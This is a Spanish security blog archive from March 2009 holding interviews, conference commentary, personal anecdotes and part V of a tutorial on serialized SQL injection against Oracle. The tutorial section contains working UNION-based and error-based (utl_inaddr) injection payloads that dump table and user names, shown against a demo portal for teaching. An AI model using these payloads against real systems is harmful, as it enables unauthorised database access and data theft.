Para que te hagas una idea del tipo de libros que me gustan (no creo que te sorprenda...) echa un vistazo a mi wish-list de Amazon: http://www.amazon.com/gp/registry/wishlist/SYOS7ANC7UNO/ref=wl_web&sort=priority/
La puse en mi web (http://www.rs-labs.com/) hace tiempo, por si a alguien le gusta lo que publico o lo que hago y me lo quiere agradecer pero se ve que no... :) Así que la utilizo para tener fácilmente localizables algunos libros interesantes y que todavía faltan en mi biblioteca.


Un libro que me gustó mucho es: "Hacking, the art of exploitation" (Jon Erickson). Yo tengo la primera edición pero creo que ya va por la segunda. Una muy buena referencia como iniciación al "exploiting" aunque advierto que hay que tener cierta base (programación, arquitectura, sistemas operativos...)

Otro que tiene muy buena pinta (al menos lo que llevo leído) es "The IDA Pro book" (Chris Eagle, eterno rival de los "Pandas" :P). Denso, organizado y muy bien explicado. Me encantaron las páginas que describían las "stack frames" en detalle ("calling conventions" y "local variable layout") para diferentes compiladores u opciones de compilación.


De todas formas, los libros están bien pero a veces son más amenos los papers y presentaciones de conferencias como BlackHat, Defcon, CCC...

13.- Si no hubieras sido informático.. ¿de qué hubieras acabado currando?

No sé, fontanero, electricista... quién sabe, son un chollo: hay que rogarles para que vengan, te cambian una pieza y te cobran una pasta (y la mitad no lo declaran). También es un chollo ser "maestro", por la pila de vacaciones que tienen. Ahora en serio, cualquier trabajo "no informático" sale más rentable y estará mejor valorado. ¿Por qué ningún amigo que sea albañil te va a hacer un tabique gratis pero tú sí tienes que ser el g* que limpie los virus, configure el acceso a Internet o mire por qué no arranca su ordenador?

14.- ¿Cuántos equipos tienes en casa?

Pues ahora mismo... 4 portátiles diversos, 2 PCs, 1 AlphaStation 400, 2 Netra T1, 1 SPARCstation 20 y un HP Visualize C3600. También un par de routers Cisco (2503 y otro de la serie 800). En cuanto a SOs: Linux, WinXP, Tru64, Solaris y HPUX. Me falta AIX (tuve un tiempo una RS6000 prestada pero no la pude echar a andar: creo que estaba estropeada) e Irix (las SGI se veían en mis tiempos de Uni, ya están descatalogadas).

15.- ¿Cuál es tu rutina para estar informado al día?

Todos los días reviso lo último publicado en listas de correo y blogs. Para estas últimas utilizo "Google Reader" (RSS) y para las listas tengo creados muchos filtros en mi servidor de correo (Sieve es una maravilla). De esta forma tengo todo ordenadito, esté donde esté, sin depender de filtros en el cliente de correo (que sólo valen para *un* cliente de correo). Soy humilde y no tengo 3G así que nada de iphones, blackberries y demás... (en España las telecomunicaciones son un robo a mano armada, estamos a la cola de Europa).

Es importante quedarte con la copla de las vulnerabilidades y exploits que van saliendo. A lo mejor en el momento no te es útil pero quién sabe si en el siguiente test de intrusión te encontrarás tal o cual servicio corriendo y entonces dirás: "ajá, ¿esto no era vulnerable?"...

16.- ¿Qué le recomendarías a alguien que quiera aprender seguridad informática?

A menudo me encuentro en mi buzón un mail de alguien anónimo que me pide ayuda y me formula esa pregunta. Mucha gente piensa que le recomendaré un par de textos, se los leerán y "ya serán hackers". Eso es imposible. Siempre contesto todos esos correos pero como comprenderás con respuestas más o menos genéricas. Algunos consejos:

- "Seguridad informática" es un término muy general. ¿Sobre qué sistemas/arquitecturas/tecnologías? Si no lo tienes claro puedes empezar leyéndote algún libro tipo "Hacking exposed" que te habla un poco de todo.

- Cuando tengas claro qué te gusta más y por dónde quieres empezar busca información (papers, libros) sobre *esa* temática y *céntrate* en ella. Es un error intentar abarcarlo todo, sobre todo cuando se empieza.

- Busca gente que esté en tu misma situación y tenga los mismos intereses e inquietudes, para compartir dudas/ideas. Aprender en grupo es más divertido.

- Debes dominar *al menos* un lenguaje de programación. Más tarde o más temprano necesitarás automatizar tareas o comprender aquel fallo de seguridad que estás intentando explotar (en mi caso he programado en C, Bash, Perl, Asm, PHP, Python...)

- imprescindible conocer TCP/IP así como los protocolos más importantes (HTTP, FTP, SMTP, ...).

- Estudia la tecnología que deseas explotar. Antes de "aprender seguridad", hay que "aprender sistemas y redes" :)

- Móntate un pequeño laboratorio con Vmware. Instala diferentes sistemas operativos con versiones no parcheadas y atácalos. También son útiles los live-CDs. Para aprender, está bien "DVL" (http://www.damnvulnerablelinux.org/). Como recopilatorio de tools, la "BackTrack" se lleva la palma. Para temas WiFi prefiero "WifiSlax" / "Wifiway".

- Por último, participa en retos ("wargames").


17.- ¿Quién te ha impresionado en este mundillo?

Muchísima gente. De la escena internacional algunos de mis favoritos son "HD Moore", Michal Zalewski y Alexander Sotirov. En España también hay muy buenos researchers pero sería injusto dar nombres (porque seguro que me dejaría muchos en el tintero). Bueno, voy a dar sólo uno: "dsr" ;-)

18.- ¿Qué es peor aguantar al que te gana en un reto hacking o al Dab cuando se pone a dar guerra?

¡¡A Dab, sin duda!! :-) Además, la gente de los retos no sólo no dan guerra sino que somos como una piña: nos conocemos y ayudamos todos. ¡¡¡El único que intenta picarnos eres tú!!! (por cierto, a ver cuándo tienes el "valor" de participar en uno, vas a ver lo que vale un peine :-P).

19.- ¿Cuándo vas a dejar de ser un “panda adoptado” para dar el siguiente paso?

Tuve mi oportunidad antes de que se formara el grupo, esto es, allá por el 2007 pero el objetivo era ir a competir a Las Vegas (Defcon #15) y aunque por un lado la idea era/es muy atractiva, pegarte un viaje así y acudir a uno de los mejores congresos de seguridad del mundo, y acabar "perdiéndotelo" por participar en el CTF me parecía un tanto desproporcionado. Las "prequals" son también muy divertidas e interesantes y no te tienes que mover de casa :)

En todo caso tengo la suerte de conocer a casi todos los "pandas" y agradezco que me permitan estar a su lado de vez en cuando aportando mi granito de arena.

20.- ¿Dejará RoMaNSoFT Madrid para volver al sur?

Ya me gustaría a mí... pero no es fácil: tendría que encontrar un curro interesante, estable y bien pagado. Y eso en Andalucía, es harto difícil, hay demasiado "garrulismo". No me resigno pero hay que ser realista (quién sabe, lo mismo algún día...)

domingo, marzo 22, 2009

Una Con en España

Desde hace un par de años se lleva hablando muchos sobre hacer una conferencia al más puro estilo investigación de seguridad en España, y en concreto, en Madrid y/o Barcelona. Después de la discontinuación de la NoConName en Mallorca, ha habido pocos intentos de hacer una conferencia de seguridad informática en España con su proceso de CFP para que venga gente buena, pero, por el contrario, mucho, mucho se ha hablado.

La NCN tuvo el orgullo de ser la primera conferencia en la que se consiguió traer a España a ponentes internacionales de calibre. Han pasado años ya desde el año 1999 en que tuvo lugar su primera edición y tres años, si las cuentas no me fallan, desde la última. Todas las ediciones tuvieron su lugar en Palma de Mallorca y siempre que hablo con alguien que fue a alguna de las ediciones, me cuenta lo mismo: Estaban muy, muy bien.

A día de hoy en España se han realizado un montón de actividades periféricas, pero sin llegar a cumplir ese objetivo. La famosa LaCon 2008 tuvo el espíritu de ser una conferencia de muestra de investigaciones en seguridad informática en la que se consiguió reunir a un buen número de “piezas/pájaros/personajes” del panorama nacional con demos y charlas dignas de las mejores conferencias del mundo, pero… se decidió ejecutar en la intimidad. LaCon 2008 bien podía haber sido esto que se estaba buscando.

Para este año, está prevista la ejecución en Barcelona de la Source 2009. Esta es una conferencia con organización americana que viene a cubrir un vacío que existe, y es que parece raro que un país como España no tenga una conferencia de estas características en Madrid o Barcelona que esté dirigida por alguna comunidad de aquí, al estilo de cómo en Argentina se montó la Ekoparty.

Ahora en España hay grupos y personas que podrían liderar una conferencia de estas características sin necesidad de esperar a que alguien de fuera la organice. Empresas como Hispasec, S21Sec, GMV o SIA, organizaciones como el ISMS Forum, Criptored, el capítulo Nacional de OWASP, Inteco, la organización de las FIST e incluso los foros que se han creado alrededor de elhacker.net, securitybydefault o las listas de correo existentes de hace tiempo de seguridad informática podrían organizar, apoyar, liderar o proponer una de estas conferencias que seguro que triunfaba.

No quiero quitar ningún mérito, por supuesto, a las charlas divulgativas de seguridad que se realizan en este país de las que soy un auténtico fan como las FIST, el DISI, las charlas de OWASP, el ISMS Forum o el mismo Security Day de Spectra, de lo contrario no organizaría yo los Asegúr@IT y la gira de seguridad anual que me marco por España, pero… ¿a qué a todos os hubiera gustado ver a un Francisco Amato con su Evilgrade, un Kaminsky con su DNS caché poisoning, un Joanna con su BluePill (y la que tiene montada ahora con los micros), un Sotirov y su charla para impresionar chicas, un Cerrudo como trajeron a la NCN, y un largo, largo, largo etcétera de gente mezclados con un Bernardo Quintero, un David Barroso, un Atar, un Dab, un RoMaNSoFt, un Sergio de los Santos, un Juan Garrido, un Palako o un Dreyer en una conferencia de estas características? Encontrarte con los Sexy Pandas por los pasillos o con gente que conoces por referencias o nicks.

Esta gente no sólo te enseña cuando da una charla, te enseña cuando hablas con ellos por los pasillos, te tomas un café o cuando te pica en el hígado para aparezcan en ti las ganas de aprender algo nuevo, de intentarlo por ti mismo o simplemente te maravilla verlos en acción.

Sí, seguro que habrá discrepancias entre quién es digno y quién no lo es para montar una charla, pero si nos perdemos en esas batallas no conseguiremos nunca que salga algo para delante de forma continuada y sé que todos estáis viendo que a) hay necesidad, b) hay ganas de montarlo por parte de todos y c) hay interés por parte del público.

A mí me da igual, al primero que se anime yo le apoyo.

Saludos Malignos!

sábado, marzo 21, 2009

Tío Matt

Hace no mucho charlando al finalizar la clase del FTSAI estuve hablando con Jesús Moreno, un asistente del curso. Me hablaba sobre lo que le gustaba o no de este blog y yo presté mucha atención, por supuesto. En el FTSAI se da la casualidad de que tengo gente crítica conmigo y a esos les procuro poner atención.

José Miguel tiene su estilo propio, es tranquilo y reflexivo te deja hablar, te escucha, y cuando le toca su turno emite sus opiniones en un tono conciliador al que hay que prestar toda la atención sí o sí. Estudió en la EUI-UPM como yo, así que sabe bien de dónde vengo y como soy. Sin embargo, el otro día, me hizo mucha gracia, porque decía que leía mi blog como si fueran las cartas del tío Matt de los Fraguels, ya sabéis, el viajero cuenta anécdotas.

No es la primera vez que me dicen eso, y entre otros, el amigo RoMaNSoFt también es un adicto a este tipo de aventuras “enséñame las fotos de la Defcon que quiero ver a los pandas” es lo primero que me dice nada más entrar por casa, o “cuéntanos lo que pasa por allí”. Las historietas, tienen su gracia, porque siempre pasa algo que sólo pasa una vez y es en ese lugar.

A mí me gusta contar muchas historietas de abuelo cebolletas en las reuniones con gente, tomando una cena o unas copas, pero las que pongo en el blog son como los chistes de los humoristas de la tele. La gente se las aprende y no puedo repetirlas con unas birras con lo que poner una historia en el blog es como perder puntos de conversación en el bar.

Por otra parte, cuando las escribo, consigo que quede constancia de ellas, porque la memoria de pez que tengo tiende a perder en la niebla del tiempo todos los detalles de lo que sucedió aquel día en el aquel lugar con lo que cuando las leo de nuevo recuerdo los detalles.

Así que, aunque sea sólo por contentar a José Miguel, a Viajero (que sé que también le encantan las historietas) o darle material a RoMaNSoFt (al que recientemente le dije: “Román, eres como un switch, estás conectado con todos” y el Dab matizó: “Yo diría más bien como un HUB…” [putúm-pisst!]) seguiré publicando algunas de las historietas de la trastienda de los eventos y os narraré en detalle la próxima BlackHat Europe, eso sí, en plan tío Matt.


La libertad de las cosas voladoras

Saludos Malignos!

viernes, marzo 20, 2009

Serialized SQL Injection (Parte V de VI)

*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************

Serialized SQL Injection en Oracle Databases

En las versiones de Oracle Database no está disponible la sentencia FOR XML de Microsoft SQL Server pero sin embargo sí cuenta con funciones preparadas para la generación de respuestas de datos en formato XML. Para conseguir realizar la serialización de datos se pueden utilizar las siguientes funciones:

- XMLForest: Esta función premite crear un árbol XML a partir de los parámetros que se le introduzcan. El árbol que se genera está formado por nodos que se encuentran situados todos a la misma altura, es decir, todos los nodos parten del mismo nodo raíz.

select xmlforest(tablespace_name, table_name) from user_tables;

[TABLESPACE_NAME]USERS[/TABLESPACE_NAME]
[TABLE_NAME]EMPLEADOS[/TABLE_NAME]

[TABLESPACE_NAME]USERS[/TABLESPACE_NAME]
[TABLE_NAME]USERS[/TABLE_NAME]

En este ejemplo se pude apreciar cómo se puede generar un lista de elementos en formato XML con filas de resultados formadas por los campos tablespace_name y table_name de la tabla user_tables.

- XMLElement: Permite añadir un elemento a un documento XML. Con esta opción, colocada de forma adecuada junto con la función XMLForest, se obtendría un nodo por cada fila de resultados. Esto permitiría unir los campos en filas con una estructura más manejable. Añadiendo a esta función al ejemplo anterior se obtendría:

select xmlelement(item, xmlforest (tablespace_name, table_name)) from user_tables;

[ITEM][TABLESPACE_NAME]USERS[/TABLESPACE_NAME][TABLE_NAME]EMPLEADOS[/TABLE_NAME][/ITEM]
[ITEM][TABLESPACE_NAME]USERS[/TABLESPACE_NAME][TABLE_NAME]USERS[/TABLE_NAME][/ITEM]


En el ejemplo se aprecia la creación del elemento ítem para englobar todos los campos de una fila.

- SYS_XMLagg: Permite englobar todos los documentos o fragmentos XML en uno sólo. Esta función va a ser la piedra angular para poder obtener un resultado serializado de los datos. No sólo se va a obtener un árbol XML correctamente estructurado sino que además se va a obtener en un único campo. Es decir, el uso de SYS_XMLagg unifica todas las filas en una sola, para genera un único documento XML. Añadiendo la opción xmlformat es posible englobar todo el documento bajo una etiqueta raíz, en este ejemplo se ha usado la etiqueta DS:

select sys_xmlagg(xmlelement(item, xmlforest( tablespace_name, table_name)), xmlformat('DS')) from user_tables;

[?xml version="1.0"?]
[DS]
[ITEM][TABLESPACE_NAME]USERS[/TABLESPACE_NAME][TABLE_NAME]EMPLEADOS[/TABLE_NAME][/ITEM]
[ITEM][TABLESPACE_NAME]USERS[/TABLESPACE_NAME][TABLE_NAME]USERS[/TABLE_NAME][/ITEM]
[/DS]


Con esta opción sería posible serializar todos los resultados a un campo de tipo texto. No habría que olvidar, por supuesto, hacer un cast de los elementos.

select cast( sys_xmlagg( xmlelement( item, xmlforest(tablespace_name, table_name)), xmlformat('DS')) as varchar2(4000))from user_tables;

En el entorno de ejemplo, con la aplicación del portal del empleado la inyección sería la siguiente:

http://localhost/employeePortal/oracle.aspx?id=-1 union select '1','2','3',(select cast( sys_xmlagg( xmlelement( item, xmlforest( tablespace_name, table_name)), xmlformat('DS')) as varchar2(4000)) from user_tables) from dual


Resultados en el código fuente de la respuesta

Al igual que sucedía en MySQL, no es posible utilizar el carácter comodín “*” para extraer todos los campos de una tabla, por lo que será necesario utilizar consultas al diccionario de datos para extraer primeramente todos los datos de las columnas.

Un método similar en Oracle fue comentado por Alexander Kornbrust. En este caso él busca obtener la respuesta XML en el error ODBC de la base datos. Utiliza un método similar al propuesto para generar un árbol XML en formato carácter y lo compara con un valor numérico para generar el error.

or 1= utl_inaddr.get_host_name((select xmltransform (sys_xmlagg (sys_xmlgen(username)), xmltype(’[ ?xml version=”1.0″?];‘)).getstringval() listagg from all_users))--

En el mensaje del error aparecerá el texto XML. En este caso las etiquetas XML no están renderizadas, pero formarían parte de la respuesta.

Warning: ociexecute(): OCIStmtExecute: ORA-29257: host CUSTCOM_PROD;WEBTOOL;WEBDB;NELLDB;ERDB;B2B;BI;PM;SH;IX;OE;HR;SCOTT;MGMT_VIEW;MDDATA;SYSMAN;MDSYS;SI_INFORMTN_SCHEMA;ORDPLUGINS;ORDSYS;OLAPSYS;ANONYMOUS;XDB;CTXSYS;EXFSYS;WMSYS;DBSNMP;TSMSYS;DIP;OUTLN;SYSTEM;SYS; unknown ORA-06512: at “SYS.UTL_INADDR”, line 4 ORA-06512: at “SYS.UTL_INADDR”, line 35

*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************

jueves, marzo 19, 2009

El santo, la religión y los regalos de turno

No he sido bueno, pero no por eso quita que el día de San José haya sido un día de recibir regalos durante toda mi existencia, ¡faltaría más! Así que… ya sabéis, estoy esperando todos vuestros regalos. Si alguien quiere una lista es fácil: si es de Star Wars o es algo que tiene tipos musculosos en mallas con calzoncillos por fuera que pegan mamporros mientras dicen cosas como “¡Cáspita!” o “¡Por el fantasma de Lenin” o se reproduce en dvd con versión original y música a todo trapo mientras miles de efectos especiales salpican mis pupilas sin dejarme pensar o es un tocho de ciencia ficción con ordenadores malos, mafiosos que te controlan la mente o en su defecto son zombies o vampiros, seguro que me gusta….

Lo siento por los pobres que tenéis un nombre de esos “de segunda” ya sabéis, que nunca tienen el mismo día del santo en el calendario, que incluso no toca todos los años o que, por supuesto, es un día “cutre” de esos en los que hay que currar.

Los que tenemos de primera, como yo, tenemos un día que todo el mundo conoce, que todo el mundo recuerda y que, la mayoría de los años, es festivo, así que con dos cojones, una ya de serie es bautizado con un nombre para recibir más o menos regalos. Yo nací ya entre “los ganadores”.

No me pidáis una lista detallada porque me llevaría un consumo de tiempo tan grande que no me lo puedo permitir (que uno tiene mucho vicio). Aceptaré cualquier regalo, hasta una distro de Ubuntu, original y de coleccionista eso sí, con blíster, que luego se cotizan más en el mercado del friki o una Red Hat 4.2 con su caja… mmmm… ya la estoy viendo subir su cotización en el ebay, o un Solaris 6 precintado para Sparc o el Indiana Jones original para Amstrad 64k en cinta. Rollo retro-freak. Las de Windows sólo los primeros números, que el Windows 95 orginal, el Windows 95 OSR2, el 98 y sucesivos los tengo todos.

Y como hoy es festivo, no me apetece montar nigún pollo, ni calzaros el típico post técnico ese que dejáis "para más adelante" os voy a dejar un vídeo con una canción de esas de celebrar festividades religiosas. Sí, no tiene que ver una mierda con el día de San José, pero... ¿a qué moooooooola?.


Saludos Malignos!

miércoles, marzo 18, 2009

Entrevista a Iñaki Ayucar de SIMAX (y Navarradotnet)

Iñaki Ayucar es de esas personas que te impresionan. No sólo porque sea un tipo supermajete con el que te tomas unas cañas para echarte unas risas contando las mejores cancinoes de Bender sino que además es uno de esos cerebros privilegiados que saben lo que quieren hacer, lo hacen y apuestan por ellos mismos con la humildad del que cree que es lo normal.


La Presi, Iñaki Ayucar y El Maligno (sniff)

Lo conocí en uno de esos viajes por Pamplona allá por el año 2006, una de las ciudades más bonitas de esta tierra, y de las pocas a dónde me mudaría a vivir, vino a una de mis charlas y me habló de "una cosilla". La cosilla resultó ser SIMAX y tiene un aspecto tan bonito como este que se puede ver en estas dos imagenes.



Recuerdo que tras flipar con su cosilla llamé a Spectra y dije: "Oye, aquí acabo de conocer a alguien y ver algo que tenéis que ver".

A Iñaki le he visto nervioso y hasta preocupado en los principios, debatiéndose entre empezar la andadura empresarial o no. Le he visto cuidando sus pasos y mimando su software con cariño. Le he visto crecer en trabajo y feliz al cabo del tiempo con su andadura profesional. Disfruté con él paseando por el salón del automovil en Madrid mientras Toyota enseñaba con SIMAX como conducir ecológicamente, ahora mucho más relajado que al principio.

Necesitamos que muchos Iñakis sirvan de modelo a los chavales. Un tipo que se ha formado académicamente, que ha trabajado en los escalafones de lo que es ser informático, que ha buscado su camino y que ha hecho de su hobbie y su pasión un proyecto empresarial. Iñaki, ¡Sí señor!

Saludos Malignos!

1.- Iñaki, ¿Cuántas tardes hay que gastar para hacer SIMAX?

En realidad, ninguna, ya que por las tardes antes estaba trabajando en mi “otro” curro. Estas cosas se hacen por la noche, hombre… cuando nadie te ve… Yo siempre he programado entre los anuncios de CSI o de “Donde estás, corazón”. Gracias a dios, la tele ha digi-evolucionado un montón, y hoy en día los anuncios duran más de media hora. Si no, Simax no existiría. ¡Gracias Telecinco!

2.- ¿Cuándo vas a publicar el código fuente?

Ya está publicado, ¿no lo sabías?. Si entras en buscadores de RapidShare, Emule o BitTorrent hay cientos de archivos zip que (dicen) contienen Simax, subidos por gente del lado del bien, supongo. Bájate el que quieras, descomprímelo y ejecuta todos los EXE que encuentres aceptando todas las advertencias de seguridad. Windows Vista te advertirá 100 veces de lo que hay, pero ¡hey!, está hecho por Microsoft, no le hagas ningún caso… Después me cuentas que tal la experiencia.

3.- ¿Cómo es posible que un simulador en tiempo real con tantos parámetros funcione sobre Windows Vista?

Porque en realidad es un Ubuntu tuneado con cuatro logos y cursores para que parezca Vista. Así espero meterme a Microsoft en el bolsillo para que me regale una Xbox. En cuanto la tenga desvelaré la verdadera cara “libre” de Simax… ja ja ja ja ja… (risa con eco de fondo, en plan villano).

Es coña, Simax va de cojones en Windows Vista. Por motivos técnicos, cuya explicación no cabría en estas líneas, hemos escogido DirectX o XNA como APIs gráficas, .Net C# como plataforma y Visual Studio 2008 como entorno de desarrollo. Completamos este paquete con Visual Source Safe como herramienta de gestión de repositorio y Windows Vista – Windows Mobile como sistemas operativos. Y todo esto no es por ningún oscuro motivo conspiranóico, sino simplemente porque, para nosotros, son los mejores en sus respectivos campos. Son aquellas herramientas que menos problemas nos dan y las que nos permiten un desarrollo más eficiente. Por lo tanto, son las que implican un mayor ahorro económico y un menor estrés.

4.- ¿Para cuándo un A5 o un 350z en SIMAX?

Como no tengo mucho tiempo, tendré que elegir uno de los dos. Hacemos una cosa: un día nos alquilamos media hora el Jarama y nos picamos como perras a ver quién se pule a quién. 3 litros diesel contra 3.5 litros gasolina. Los dos con una aceleración de 5.9s en el 0-100Kmh. El vencedor entra en Simax, ¿hace?... ;)

5.- ¿Qué coño hacía alguien como tú en una charla de Seguridad informática?

Preguntarte si por bajarme porno estaban en peligro mis cuentas bancarias. Lamentablemente la respuesta fue “sí”. Más vale que no hablaba de mí, sino de un primo segundo que vive en Cuenca y que es un poco marranete… Ya sabes: “The internet is for porn” J

6.- ¿Hay que salir de España para ser reconocido?

Por mi experiencia personal, tendría que decir que no, ya que Simax ha recibido varios premios y todos dentro de España. Al margen de los premios, creo que sí somos más conocidos fuera que aquí, pero quién sabe…

7.- ¿Qué has estudiado para ser capaz de jugar con los colorines y las luces y los movimientos en la pantallica?

Ja ja… Estudié Ingeniería Superior en Informática. La primera mitad de la carrera especializada en coloricos y la segunda mitad en lucecicas. El tema de la pantallica lo dejé para el Proyecto de Fin de Carrera.

8.- Vale, ¿qué te dijo tu familia cuando dijiste: Oye, que dejo el curro, que voy a hacer un simulador?

Mi mujer ya sabía de mis intenciones así que no le pilló de sorpresa. Recuerdo que se lo comenté por primera vez a mi padre en el telesilla de una pista de esquí. Antes de montar, resbalé en una placa de hielo y me di un ostiazo elegante con el canto de los esquís en la cabeza (afortunadamente no con el lado afilado). Después de contárselo creo que pensó que desvariaba por el golpe... je je. Ahora en serio, lo cierto es que todos me han apoyado mucho desde el principio. Sin ellos, hubiera sido muy difícil hacerlo.

9.- ¿Cuantos premios/menciones/reconocimientos acumulas ya entre simulador y la empresa?

- Ideactiva 2004: Mejor idea de negocio
- Ideactiva 2008: Mejor proyecto empresarial del año en Navarra
- Premios Bancaja 2008: Mejor proyecto empresarial del año en España (10 proyectos galardonados) en la categoría de Proyectos Innovadores de Base Tecnológica

Nos han propuesto para alguno más este año, ya veremos que pasa…


10.- ¿Quiénes te han ayudado realmente a tirar para adelante con esto?

Pues mucha gente, la verdad. A nivel personal, mi familia y amigos, que se han portado como unos campeones. A nivel empresarial o de gestión de negocio, CEIN es la entidad que nos apoya con asesoramiento y ayudas. A nivel profesional y técnico, tengo que agradecer a la gente de mi equipo y a una cadena de acontecimientos bastante enrevesada que ha resultado ser fundamental para la existencia de Simax. Me explico:

En primer lugar, a NavarraDotNet, con Carlos Segura y Elena Santacana a la cabeza. Gracias a su magnífica labor, conocí a la segunda persona a la que tengo mucho que agradecer: a ti. Al maligno, al malévolo, al “jáquer entre jáquers”, al ayatolá del Blind Sql Injection… al coding-batman más famoso entre los MVPs… Tengo que agradecerte los buenos ratos que nos echamos cada vez que vienes por aquí, y sobre todo el haberme puesto en contacto con Microsoft. Uno de los más importantes pilares del proyecto, tanto por su asesoramiento y ayuda como por la promoción de la comunidad de desarrolladores que realiza. Sin .Net este proyecto no hubiera sido viable, y además, dando una charla en el CodeCamp de Huelva conocí a un periodista que me llevaría a realizar el primer reportaje sobre Simax en prensa especializada, lo cual resultó ser el comienzo de la comercialización de Simax.

Así que a todos vosotros, y a unos cuantos más que puedo estar dejando en el tintero, bien sea por olvido, demencia senil o Alzheimer: ¡Muchas gracias!


11.- Ahora se te ve mucho con Toyota, ¿ganará este año algun Gran Premio?

No serán campeones mientras no utilicen Simax para entrenar a Jarno y a Timo J. Pero piénsalo, lo bueno que tiene darse tantas ostias contra los muros de seguridad es que generas muchas piezas de monoplazas inservibles y que puedes utilizar para decorar paredes. Hace poco estuve en la sede central de Toyota Motor Europa y estaba plagada de ellas. Un alerón por aquí, un faldón por allá, una pierna de algún ex-piloto … No, en serio, son un gran equipo y se merecen ganar más GPs. Me gusta mucho la filosofía de Toyota como empresa, así que espero de verdad que este año lo consigan.

12.- ¿Tiras en C++ o en código manejado?

Creo que he tirado en casi todo lo tirable, sólo me falta BrainFuck (impresionante lenguaje)… pero desde hace varios años dejo que me “manejen”. Más que nada por una cuestión de eficiencia y eficacia en el desarrollo. Al principio, me costó mucho deshacerme del enorme control que uno tiene en el mundo nativo acerca del manejo de memoria. Pero en cuanto renuncias a esa falsa sensación de poder, empiezas a ver las ventajas.

Siempre que el mundo manejado que escojas proporcione una ejecución eficiente, como es el caso de .Net, las funcionalidades que ofrece para hacer tu desarrollo más rápido, robusto, extensible y mantenible son sencillamente impresionantes. Ahora en C#, escribo un algoritmo en dos horas en lugar de en cuatro, y normalmente no presenta bugs de consideración. Es así de simple. Y la prueba es bien clara: Simax ha sido desarrollado por una sola persona. Como mera curiosidad, diré que el software que compone Simax ya ha superado las 780.000 líneas de código y los 56 proyectos Visual Studio (dll´s). ¡Y todo esto en solo 5 o 6 años!


13.- ¿Cuál ha sido tu trayectoria profesional hasta llegar a ser "jefe"?

Empecé a trabajar en el tercer curso de la carrera como alumno en prácticas en un centro tecnológico de San Sebastián llamado CEIT. Cobraba 15.000 pelas al mes por 6 horas de trabajo al día, aunque eso era lo de menos. Todo lo que aprendí allí no tiene precio, y además me sirvió para seguir después en el mismo centro como becario, durante casi 2 años, combinándolo con los últimos años de carrera. La experiencia ganada allí en el sector de la Realidad Virtual y la especialización en la carrera en el perfil de Graficos por Computador me sirvieron para entrar como Responsable de Desarrollo de Software de una empresa llamada Lander Simulation&Training Solutions, dedicada al desarrollo de grandes simuladores profesionales para el sector ferroviario y de transporte pesado. Año y pico más tarde, me mudé a Pamplona (ya necesitaba volver para mi tierra después de 9 años), así que entré como Analista .Net en una empresa de desarrollo local bastante grande, llamada Trabajos Catastrales, S.A. Estuve allí entre los años 2003 y 2007. Después de eso fundé Simax. Cuando puedo, lo combino con cierta actividad docente en forma de charlas, cursos en diversos centros o empresas, y como profesor asociado en la Universidad Pública de Navarra.

14.- ¿A quién has conocido en este mundillo de informática que te haya impresionado?

Hombreee… a ti, y después, en un puesto muy muy alejado ;) a gente como (no precisamente por orden de importancia):

Miguel Illescas (gran Maestro Internacional de Ajedrez que colaboró en la programación de Deep Blue), Javier Suescun (Cener), Jesus Villadangos (Universidad Pública de Navarra), Luis Matey (director del departamento de Mecánica Aplicada de CEIT), Alejandro García-Alonso (Facultad de Informática de la UPV-EHU), Diego Borro (CEIT), toda la gente de NavarraDotNet, Ivan Gonzalez, Unai Zorrilla y Rodrigo Corral (de Plain), Monica García (Activision), Alejandro Mezcua, todo el equipo de Microsoft Ibérica, Vicente Cartas, Andy Dunn (ZMan), Promit Roy (SlimDX),… y podría seguir así un rato.

En fin, como ves la lista es muy larga…


15.- ¿Cuál es la mejor frase del mejor personaje jamás creado en la historia?

Voy a asumir que por “personaje jamás creado” te refieres a personaje de animación, y ufff… para mí, la competición está muy reñida: Homer J. Simpson, Bender B. Rodríguez, Philip J. Fry, el Dr. Zoidberd, Zapp Branigan, Troy Mcclure. Creo que entre todas las frases, me quedo con:

“Bah!, tendrá todo el dinero del mundo… pero hay algo que jamás podrá comprar…. un dinosaurio” -Homer J. Simpson-

Y de entre todos los vídeos didácticos presentados por Troy Mcclure, me quedo con aquel de autoayuda titulado: “No sea inseguro, estúpido”

Antológico…


16.- ¿Y las tres mejores frase de tres personajes de animación?

1.- “Sólo porque no me importe no significa que no lo entienda” -Homer J. Simpson-

2.- “Chantaje es una palabra muy fea, yo prefiero… extorsión, la “x” le da mucha clase” -Bender B. Rodríguez-

3.- Zoidberg: "Estoy confuso Fry. Estoy notando como una sensación extraña. ¿Es amor cuando una hembra te importa por razones ajenas al apareamiento?".
- Fry: "No. Será alguna sensación alienigena."


17.- ¿Que le recomendarías a alguien que quiera hacer simuladores?

Que vaya comprándose un buen libro de física, otro de algebra y otro de cálculo o integración numérica. Que los lea y después les prenda fuego. Haberlas pasado putas para entender los libros le servirá para no sufrir demasiado en lo que le espera después, y haberles dado fuego le servirá para resarcirse por haberlas pasado tan putas. En cuanto a los conocimientos que había en los libros, no hay problema, todo lo que hay que saber está a un click de distancia en el google. Solo hay que saber buscar.

18.- ¿Hay que saber muchas matemáticas para "chocar" autos?

Para nada, unos gitanillos de mi pueblo eran los amos en los autos de choque. Dabas unas leches que te saltaban los empastes, y pinta de físicos nucleares no tenían (aunque nunca se sabe)… Para reproducir “sartenazos” virtuales hay que estudiar un poquito más. Sobre todo física de cuerpos rígidos (o deformables en los casos más precisos).

19.- ¿Hiciste el simulador porque no sabías conducir y querías mejorar o por puro vicio?

Vicio, vicio. La idea original era hacer una versión del GTA con Chuck Norris como protagonista, pero como la animación de personajes no era mi fuerte, la patada giratoria de Chuck me superaba. Por eso terminé eliminándolo a él, a las prostitutas y a los traficantes, y me quedé únicamente con los coches. No sé por qué, en los últimos años me ha dado por tratar de ayudar en algo al resto de “cachocarnes” que viven también por aquí, así que terminé sustituyéndolo todo por formación en seguridad vial y conducción ecológica… qué vueltas da la vida. ¡Chuck, perdóname! Primero te quitan del Street Fighter 4 y ahora esto…

20.- y la última...dejaste tu curro, te echaste a la calle, invertiste pasta y sufriste muchas noches, pero ahora.. ¿te sientes feliz?

